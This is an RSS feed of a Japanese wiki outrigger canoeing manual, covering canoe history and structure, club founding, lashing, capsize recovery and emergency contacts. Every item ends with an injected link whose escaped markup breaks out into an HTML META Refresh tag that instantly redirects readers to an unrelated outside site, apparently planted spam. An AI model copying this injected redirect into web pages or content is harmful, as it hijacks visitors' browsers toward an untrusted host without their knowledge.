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    <title>OUTRIGGER CANOEING MANUAL</title>
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    <description>OUTRIGGER CANOEING MANUAL</description>

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    <item rdf:about="http://www2.atwiki.jp/ohanahoe/pages/9.html">
    <title>2.2.クラブ設立発起人</title>
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      *2.2.クラブ設立発起人
　クラブを立ち上げるには、最初の発起人として仲間を集めましょう。一人でクラブを創るのは大変ですし、二人でも意見の食い違いなどが生じ易い。そこで、毛利元就の三本矢の教えに則って、三人の仲間が発起人となるのが理想です。

　３人それぞれのアイデアを出し、お互いの考えをぶつけ合い、３人が納得できるまで議論を続けることになるので、日常生活での利害関係が少ない仲間の方が上手く行くようです。万一、この３人の中で意見がまとまらなければクラブも出来ないということですから、発起人選びには十分な検討を尽くしましょう。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:30:26+09:00</dc:date>
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    <title>2.1.アウトリガーカヌーはクラブスポーツ</title>
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      *2.1.アウトリガーカヌーはクラブスポーツ
　一人乗りのカヌーであれば、自宅のガレージに保管し、好きなときに独りで遊ぶことが可能です。これに対し、アウトリガーカヌーは大きく、重く、大勢の仲間が集まらなければ漕ぐこともできません。アウトリガーカヌーがクラブスポーツたる所以はここにあります。

　仲間が集まれば、当然ながら色々な意見や要望が出始めて、誰かがリーダーとしてみんなをまとめたり、役割分担などを調整する必要が出てきます。そこで「クラブ」という組織創りが求められるのです。「クラブ」という組織は、参加者一人一人が他の参加者みんなのために活動して支え合い、まるで一人の人間のように意思決定したり行動したりするのが理想の姿でしょう。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:30:08+09:00</dc:date>
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    <title>1.4.アウトリガーカヌーの精神性</title>
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      *1.4.アウトリガーカヌーの精神性
　アウトリガーカヌーは、何もかもが便利な現代社会とは全く反対の精神をもつ乗り物です。一切の動力を使わずに、お互いを信頼しあう人間の力だけで海を渡っていく姿は何百年たっても変わることがありません。自然の力に抗うことなく流れや風をつかむには、野性的な感覚を研ぎ澄ますことも大切。

　自然を尊重し、自分の命を預けるアウトリガーカヌーを大切にし、力を合わせて共に目的地を目指す仲間を信じる、ということが求められるのです。ごく当たり前な話ですが、しかし日常生活ではなかなか実践できないことでもあります。

　仲間が集まったら挨拶しあう、アウトリガーカヌーや道具類は最大限の注意を払って丁寧に扱う、海でゴミを見たら拾う。このような小さな行動の積み重ねがあって、初めてアウトリガーカヌーに乗るにふさわしい人間として認められるのです。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:29:57+09:00</dc:date>
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    <title>1.3.アウトリガーカヌーの構造</title>
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      *1.3.アウトリガーカヌーの構造
　アウトリガーカヌーは大きく分け3つの部品で構成されます。人が乗り込む本体、本体の横に張り出した腕木、そして腕木の先に取り付けられた浮。
&amp;amp;ref(newDSCF0936.JPG) 

　本体はF1レーシングカーのようにスリムで、大人一人がやっと座れる程度の細さです。この細さのため抵抗が極めて少なく、パドリングによって効率よく進むことができるほか、保針性も高く、波の影響も受けにくいという優れた構造といえます。最近は建造やメンテナンスが楽なFRP（ガラス繊維強化プラスティック）といった新素材を用いたカヌーが一般的ですが、かつては山から切り出した大木をくりぬいて造られていました。木から削り出されたカヌーは重心が低く頑丈で、一旦走り出すと波の影響も受けずに走り続けることができるのです。

　腕木は通常、本体の左側へ張り出すように取り付けられます。形状や本数はエリアによって様々なタイプがありますが、一般的なアウトリガーカヌーでは前後2本の腕木が取り付けられます。腕木はロープによって本体に結び付けられており、海のコンディションやカヌーの用途によって自由な調整が可能です。最近は腕木も本体と同じくカーボンやケブラーといった新素材で作られることが増えてきましたが、多くのカヌーは今でもシナリがあり耐久性も高い木製の腕木を用いています。

　腕木の先にはバランスを取るための浮が取り付けられます。実際には浮としての役目と同時に重りとしての役目もあるため、ここからは本来の呼称「アマ」を用いることとします。アマは本体と比較し、細く短く出来ています。そして左舷側へ張り出して取り付けられることで、左舷への転覆を防ぐ働きがあります。また、本体よりも小さいため、左舷へ体重を掛けることでウネリなどでアマが跳ね上がってしまうのも防ぐことが出来ます。同時にある程度の重量を持たせることで、重りとして右舷方向への転覆も予防可能。両サイドにアマを取り付ける必要がないのは、このためなのです。


[[1.4.アウトリガーカヌーの精神性]][[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:29:25+09:00</dc:date>
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    <item rdf:about="http://www2.atwiki.jp/ohanahoe/pages/47.html">
    <title>3.1.ラッシングとは？</title>
    <link>http://www2.atwiki.jp/ohanahoe/pages/47.html</link>
    <description>
      *3.1.	ラッシングとは？

　アウトリガーカヌーは複数の部位の組み合わせです。これらの部位をロープを用いて結び合わせることを「ラッシング」と呼びます。
 　 　 
　島国の人々にとってのロープとは、数の限られた貴重な存在です。そこで、いかに効率よく、カヌーが海の上でバラバラにならないよう丈夫に結ぶか、ということが何百年にも渡って研究されてきました。この結び方は現代でも継承されています。金具やゴムを使わずコットン・ロープだけでアウトリガーカヌーを組み上げるスキルは、パドラーとして必ず身に付けておきたいものです。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:28:02+09:00</dc:date>
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    <item rdf:about="http://www2.atwiki.jp/ohanahoe/pages/4.html">
    <title>1.1.太平洋のカヌー</title>
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      *1.1.	太平洋のカヌー
　カヌー(CANOE)という言葉は、漕ぎ手が前を向いて座り、片方のサイドをシングル・ブレードのパドルを使って漕ぐ舟を指し、ボートやカヤックとは区別されます。カヌーは主に太平洋エリアで発達した舟で、東南アジア、アフリカ東岸のマダガスカル、アメリカ大陸など広いエリアに様々な種類のカヌーを見ることができます。日本でも沖縄の[[サバニ]]や太平洋岸各地に残る丸木舟はカヌーの特徴をよく残しています。

　これらのカヌーの中で、細長い艇体とバランスを取るための横にせり出した浮（アウトリガー）が取り付けられたものを「アウトリガーカヌー(Outrigger Canoe)」と呼びます。ただし、アウトリガーカヌーというのは英語であり、元来太平洋の言語では「ワカ・アマ」「ヴァア・アマ」「ヴァカ・アマ」と呼ばれるようです。これらに共通するのは「アマ（アマ）」という言葉で、一般的にはアウトリガーのことを指します。試しに漢字変換してみると、「海士」「海部」などといった文字が出てくる。古代日本語はハワイやタヒチなどと同じルーツを持つと考えられますので、「アマ」とは海に深く関係するものを指す言葉なのかも知れません。

　実際に、ハワイやニュージーランドに住むネイティブの人達は古代日本人（縄文人）と遺伝的に似通っているといわれます。最近の研究では、中国南部から[[ラピタ人]]と呼ばれる人種がカヌーに乗り、長い年月をかけて太平洋の島々へ移動・移住していったことが明らかになっているのです。マゼランやキャプテン・クックといったヨーロッパの冒険家が太平洋に乗り出してきた頃には、既に殆どの島に人が住み着いていました。航行性能の高いアウトリガーカヌーに乗った人達が海を自在に渡り歩く姿にヨーロッパ人はさぞ驚いたことでしょう。

　その後、アウトリガーカヌーに乗る太平洋の人々は受難の時代を迎えます。ヨーロッパ人が持ち込んだ病原菌に冒され、植民地として抑圧されるなどして、アウトリガーカヌーを通じて海や自然と密接に関わってきた文化は急速に衰退していったのです。


[[1.2.世界のアウトリガーカヌー]]

#comment[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:23:53+09:00</dc:date>
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    <item rdf:about="http://www2.atwiki.jp/ohanahoe/pages/39.html">
    <title>6.8.HULIしてしまったら</title>
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    <description>
      *6.8.	HULIしてしまったら
　万一、HULIしてしまった場合は、最初に全員が無事であることを確認します。
　一人がMANU、二人がそれぞれイアコに掴まります。
 　 　 
　転覆した状態のままアマを風下側へ向けます。海岸近くで波が強いところでは、波と垂直にカヌーの向きを立てます。
 　 　 
　イアコに掴まった二人がイアコに足を掛け、体重を乗せて一瞬でカヌーを起こします。
 　 　 
　残りのパドラーはパドルなどの浮遊物を拾い集め、アマに掴まってカヌーから離れないようにします。
　イアコに掴まっていた二人はすぐさまカヌーへ乗り込み、ベイラーを使って水を汲み出します。
　水が少なくなったら、ステアが乗り込み、カヌーの向きなどをコントロールして安定させます。
　出来るだけ早く残りのパドラーも乗り込んで、パドリングを再開し安全な場所へ移動します。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:23:32+09:00</dc:date>
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    <item rdf:about="http://www2.atwiki.jp/ohanahoe/pages/38.html">
    <title>6.7.HULI（転覆）</title>
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    <description>
      *6.7.	HULI（転覆）
　HULI（フリ）とはアウトリガーカヌーが転覆することです。抜群の安定性が特徴のアウトリガーカヌーですが、波や風を受けたり、不用意にアマと逆サイド（右側）へ体重をかけると転覆してしまうことがあります。乗り降りの際も油断せず、必ずアマ側から乗り降りしましょう。海の上では絶対にHULIすることがない様、最大限の注意を払わなくてはならないのです。そして、HULIを避けるためには幾つかのポイントがあります。

&amp;#039;&amp;#039;カヌーのセッティング&amp;#039;&amp;#039;
　乗り手やコンディションに合せた正しいセッティングをしましょう。少しでもバランスに不安があれば、面倒でも一旦ビーチへ戻ってシート順を交換したり、ラッシングをやり直したりして、安全第一を心がけましょう。

&amp;#039;&amp;#039;ルート選択&amp;#039;&amp;#039;
　波や風をアマ側（左側）から受けるとHULIするリスクが高まります。往復コースなどの場合は、後半の疲れた頃にアマが風下となるようなルートを選ぶのが賢明です。

&amp;#039;&amp;#039;ウォッチ・アマ&amp;#039;&amp;#039;
　海上でカヌーのバランスが悪いと感じたら、「Watch アマ（ウォッチ･アマ）」の号令をステアがかけます。この場合、アマ側（左側）を漕ぐパドラーは出来るだけ上体を左外へ乗り出し、アマに重心を掛けて安定性を保つようにしましょう。状況によっては全員でアマ側を漕ぐ場合もあります。


[[6.8.HULIしてしまったら]][[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
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    <item rdf:about="http://www2.atwiki.jp/ohanahoe/pages/37.html">
    <title>6.6.緊急時の連絡</title>
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      *6.6.	緊急時の連絡
　万一、パドラーの傷病、カヌーの破損などにより航行が不可能となった場合、無理せず救助を要請しましょう。特に海上でのトラブル時はカヌーが浮かんでいる限り、カヌーから離れないように。トラブルの対応は予想以上の体力や精神力、そして普段からの訓練が必要です。

　救助やサポートが必要な場合、片手を頭上に揚げて左右に振ります。これは国際的なサインですので覚えておきましょう。また、ホイッスルを2秒以上続けて、何回か吹くことも救助要請のサインとなります。
 　 　 
　地域のマリンスポーツ業者などがレスキューサービスを行っている場合は、普段から利用方法などを確認しておくことが大切です。また、より緊急を要する場合は消防（TEL:119）や海上保安庁（TEL:118）へ連絡をとりましょう。

[[海上保安庁マリンレジャー情報&amp;gt;http://www1.kaiho.mlit.go.jp/JODC/marine/leisure.htm]]


[[6.7.HULI（転覆）]][[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
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    <item rdf:about="http://www2.atwiki.jp/ohanahoe/pages/36.html">
    <title>6.5.出艇の連絡</title>
    <link>http://www2.atwiki.jp/ohanahoe/pages/36.html</link>
    <description>
      *6.5.	出艇の連絡
　海へ出る前に、仲間や家族にパドリングの予定（エリア、帰着時刻）を伝えておきましょう。専用の出艇レポート用紙を作って、同行者名、予定ルート、連絡先（携帯電話）、予定帰着時刻などを記録し、艇庫などに残しておくことをお勧めします。


[[6.6.緊急時の連絡]][[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
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